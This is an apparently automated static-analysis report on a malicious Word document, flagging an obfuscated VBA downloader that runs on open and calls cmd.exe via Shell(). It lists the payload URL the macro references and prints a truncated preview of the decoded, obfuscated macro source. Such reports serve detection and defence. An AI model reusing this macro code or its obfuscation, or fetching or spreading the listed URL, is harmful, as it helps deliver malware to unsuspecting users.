Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1a46603e9dfb9219…

MALICIOUS

Office (OOXML)

76.2 KB Created: 2019-02-14 16:03:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-10
MD5: 30572a05b3a7c1af9cc1f2705d98b1cb SHA-1: 63148ab7eafd34bea9509a810ee0c78bea4d6588 SHA-256: 1a46603e9dfb921947bb06fc56ad2f2927604397501fa583ef5911ff79c676d0
264 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File

The sample contains a VBA macro that executes cmd.exe via the Shell() function. The macro is obfuscated and appears to be designed to download and execute a second-stage payload from a URL, which is a common technique for malware delivery. The presence of a Document_Open macro further indicates malicious intent.

Heuristics 8

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://thomeddiesharefile.com/Uni/winxpversion.exe Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 72066 bytes
SHA-256: b2eaf82b0adc1778f00fb94fa66fdf9dda091cc456edeebba30780cbf186b206
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Private Sub Document_Open()
Call saksyzcsxhgfmuq
End Sub

Private Sub saksyzcsxhgfmuq()

Dim s34 As Object
Dim ksvtbkcuedbtldlqwlefd As Date
Dim ylrvhnuwqefeswlrzmkzcn
Dim eqpwiofjcb
If 0 = 23 Then
Else
Dim jlughjjypaapsx

Dim kyewqgfkvirtmzjj As Object


End If
Dim agzfeebdpvczotnxcvztofhwcy As Variant
Dim uxankvrbabqxoyauyeeeej As Date

Dim ssqvlrjtbhtzcuexbq
Dim enoyxitvbdowjurpnwq
Dim cwnrju



uxankvrbabqxoyauyeeeej = 53
Do While 346 < 7
   Select Case nqguyesbxaebnxtlpmxjqgzxxpd
            Case "«³Þî?ÀçµÓ£?ᢨÅ", "?Çêö?²", "?¸éó�ºæ¸Üµ?ç¥?Ä"
                 gtclojj = "?Çáì?°åºß??Þ§¨Àé«´æï?±ÞÊÛ³�ó£¡ÌÚ "
            Case "?Ëñà?»ãÇ×£?ð?¥", "¤¶æô?¸ô¼"
                 suffix = "�¼Þô Äì"
            Case "§Æôç?ÀòÃÌ??ã°£ÈÖ ¶çå?²êÁР?ó?©ÃãªÅè", "ª¿Þà?¿òËÛ¡?ç"
                 gtclojj = "­Êïæ?ÇìÍܧ?Ú¨?ÅÛªºàï?³áÂØ«?ò??ØØ?"
            Case Else
                 evhrgtqxjkbneejvbczilsdnkxj = "mfdskohgzrhkr"
    End Select
Dim igfgtjbn
Dim mvsvvwg
Dim vcgfbeglibfvglbowyihilodvm
Exit Do
Randomize
Loop

Dim kooak As Variant
Dim ocwab As Date

Dim gxocmpq
Dim gshxbbcx
Dim erahquliqfgrbvhkqtvliixlpytit



ocwab = 76
Do While 832 < 7
   Select Case kaoyalcbxfejjdjv
            Case "�Áîñ?¶ê¶ß¨?Þ£ Åì?¾ãì?ÆîºÉ²�è", " »îà", "?Áôá?¼äÇÏ¡?ë°?Æá?Ççõ¤¼"
                 shwfsrmzh = "¥¼ãõ¥ºò"
            Case "§Êåî", "?¼ãò?½ë»Þ¯?ò®§Øä¢"
                 suffix = "£ºáä?º÷¸Õ??ê«?Óá?"
            Case "«¸óí?¼ßÎÜ??ܧ?Îé¡»àô?", "?Åàß?ÁâÁд?ñ¤?Õê?¸éð?´îµØ¤?å??Ñߢ"
                 shwfsrmzh = "?½âï?·â¸Ð?�ì¤�ÎØ?Äìá"
            Case Else
                 lgghhwrmrsamgtleyqw = "tbmy"
    End Select
Dim defmtesryveqoh
Dim xchvmyvbdymiuymwber
Dim ppnpk
Exit Do
Randomize
Loop

Dim zikwihqkbslpllmdt As Variant
Dim kpql As Date

Dim frdqidvlvvfkhitotenuqtzjlw
Dim qptsmnazidypagyfouxsnu
Dim zzmrqmfaqtakxvmkuuzaafcuevxoizqjbuza



kpql = 82
Do While 177 < 3
   Select Case mvcgeaktif
            Case "¨¸Üà�¹ÞÉ˳?å©?Ñ⪽ãî?³èÆШ?ᡧÒã?º", "¬Áæä?¸õÆÜ", "?¾è÷�ÄÞÃÚ±?맨ÒÞ?¶ëé?Ãô"
                 aexzsdudrnfgsqjkjeaxwtplgypufhjz = "?Éçò?²Þ"
            Case "?µñ", "¥Çáì¡ÃõÎȯ?í¦©Ôí¨¸Ûø?»âÇÕ±?"
                 suffix = "«´òó?²à¶Ø¤?ç°?ÂÙ?Èêé?ÁôÆÕ�?ë? Ì⪽"
            Case "?Äßö?±ì¿Ê??æ??×Þ¤¶òì?µôÊ×", "¥Àôß�Áæ¿Ç±�Ü­?Íå?´èç?µæÌØ"
                 aexzsdudrnfgsqjkjeaxwtplgypufhjz = "?»âõ¢Åó¸É¯?òª§Íé?²âô?Áð¸Ï³?ß??Ì"
            Case Else
                 wwtkfkfesxywokcwllwhsgkmlppzwjx = "loftmgplu"
    End Select
Dim cwftcyvoskevfvusujzbjsuvdvoszm
Dim gbvjzmdsowaqrzlsklihg
Dim objqgk
Exit Do
Randomize
Loop

Dim qvdauikrglspjzhsrmhv As Variant
Dim djbobqrmeraqbzjvvwoudceiiybjkzopo As Date

Dim lmxhujgbymwfuntrlznbsgyjtit
Dim lhmczbebfjnenmxxaokwngktg
Dim rqxjhpnzxtgyyewsuwunsofewjis



djbobqrmeraqbzjvvwoudceiiybjkzopo = 91
Do While 304 < 5
   Select Case tzwjbjzysngkkuyoijdfwvzf
            Case "?Æðò?²óËÝ®?ïª�Î×?ËÝ÷�ÀãÌÝ­?æ¤?ÔÜ£", "«Âîó?ÈçÃߥ?梩Ùë«·äî?", "©½äè?ÂõµÍµ?Ú£?Åì¬ÅÞå?Ãâ½Ô©?ñ??Ä×­"
                 sboqltlqautaczqknaxwlek = "¤Åñó?»ì¼É¯?ࡨËÙ�Áãó?ÈñÇʯ?è¥�Ìä"
            Case "?Çëß¡°çÊÔ¢?ç?¡", "§´ãç�µÞËܨ ò?¥ÂÖ§Åñà?ÂæºÌµ?Ü¥�Ù"
                 suffix = "?¹æì?¶ëÇÙ¯"
            Case "©ºôð?ÁàÊÛ �Û¡£ÒÙ«Åéó?²àÉÊ??è¯", "?Åßå?±è¾Ç¯�祩Ãê?Ëò"
                 sboqltlqautaczqknaxwlek = "­Ãáä?µìÃݨ�ð??ÍÚ?¾åì"
            Case Else
                 snmfimjxogyvaxf = "kpuavjwurlcrx"
    End Select
Dim rceckcvwstntm
Dim cpbompl
Dim qldcjmidznljumvsqpfyjcrklqo
Exit Do
Randomize
Loop






If 9 = 8 Then
Dim nbdkvthnhfxufp
Else
Dim qvvvhgurocvktgvtfqlastqrxxobzwcrahs

Dim apzsqarmfhqk As String
apzsqarmfhqk = "kbGumBt"

Dim dssraeklnrdrypgqjnwttminsr As String
dssraeklnrdrypgqjnwttminsr = "YmooUJMF"

Dim dnymqhdbjscqtsob
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 143872 bytes
SHA-256: 0c7039aefbdfa9e2cbada52ddcb543e3f2c7652bb12820b97a23d873a280819e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 long base64-like blob(s).

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